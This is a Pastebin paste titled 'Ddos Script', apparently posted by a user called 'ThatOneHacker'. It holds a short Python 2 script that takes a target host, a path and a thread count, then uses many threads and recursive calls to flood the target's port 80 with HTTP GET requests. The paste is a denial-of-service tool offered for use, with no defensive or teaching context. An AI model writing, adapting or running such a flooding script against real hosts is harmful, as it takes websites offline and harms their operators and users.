Advertisement
ThatOneHacker

Ddos Script

Sep 11th, 2018
374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.85 KB | None | 0 0
  1. import socket, sys, os, threading, time
  2. print "][ Attacking " + sys.argv[1]  + " ... ]["  
  3. print "injecting " + sys.argv[2];
  4. global level  
  5. level=sys.argv[3]
  6. def attack():  
  7.     #pid = os.fork()  
  8.     try:
  9.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  10.         s.connect((sys.argv[1], 80))  
  11.         print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
  12.         s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
  13.         s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
  14.         s.close()
  15.     except:
  16.         print(">> Socket Dead.")
  17.     for x in range(1, 2000):
  18.         time.sleep(0.009) #So it doesnt break after going to fast        
  19.         attack()
  20. def threader():
  21.     global threads
  22.     threads=[]
  23.     for i in range(1, int(level)):
  24.         t=threading.Thread(target=attack)
  25.         threads.append(t)
  26.         t.start()
  27. threader()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement